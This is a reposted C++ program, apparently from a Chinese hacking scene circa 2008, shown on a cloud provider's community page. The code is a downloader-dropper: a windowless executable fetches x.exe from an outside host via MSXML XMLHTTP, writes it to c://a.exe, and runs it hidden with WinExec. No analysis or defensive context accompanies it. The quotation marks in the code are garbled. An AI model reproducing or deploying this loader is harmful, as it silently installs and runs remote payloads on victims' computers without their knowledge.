XML Downloader BY CoolDiyer

來源:互聯網
上載者:User

XML Downloader BY CoolDiyer

// xml.cpp : By CoolDiyer 2008/4/9 14:03
//
#pragma comment(linker, “/subsystem:windows /FILEALIGN:0×200 /opt:nowin98“)

#include <windows.h>
#include <atlbase.h>
#import “msxml.dll”
bool URLDownloadToFile(LPCTSTR szURL, LPCTSTR szFileName)
{
MSXML::IXMLHttpRequestPtr xmlHttp = NULL;
HRESULT hr;
BSTR bstrstring = NULL;
hr = xmlHttp.CreateInstance(”msxml2.xmlhttp“);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->open(”GET“, szURL, false);
if (!SUCCEEDED(hr)) return false;
hr = xmlHttp->send();
if (!SUCCEEDED(hr)) return false;
xmlHttp->get_responseText(&bstrstring);
if (!SUCCEEDED(hr)) return false;

VARIANT vValue;
xmlHttp->get_responseStream(&vValue);

IStream *pIStream = NULL;
STATSTG StatStg;
pIStream = (IStream*)vValue.punkVal;  //取得流對象指標
pIStream->Stat(&StatStg, NULL);
ULONG nSize = ULONG(StatStg.cbSize.QuadPart);  //取得檔案的長度

HANDLE hFile  = CreateFile(szFileName, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

BYTE lpBuffer[1024];
DWORD dwBytesWritten = 0;
ULONG uLen;
while (nSize > 0)
{
  pIStream->Read(lpBuffer, min(nSize,1024), &uLen); //防止檔案過大
  WriteFile(hFile, lpBuffer, uLen, &dwBytesWritten, NULL);
  nSize -= uLen;
}
CloseHandle(hFile);
if (pIStream)
{
  pIStream->Release();
  pIStream = NULL;
}
return true;
}

int WINAPI WinMain(
       HINSTANCE hInstance,      // handle to current instance
       HINSTANCE hPrevInstance,  // handle to previous instance
       LPSTR lpCmdLine,          // command line
       int nCmdShow              // show state
)
{
CoInitialize(NULL);
char *lpszFile = “c://a.exe“;
URLDownloadToFile(http://xdiyer.com/x.exe“, lpszFile);
WinExec(lpszFile, SW_HIDE);
CoUninitialize();
return 0;
}

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.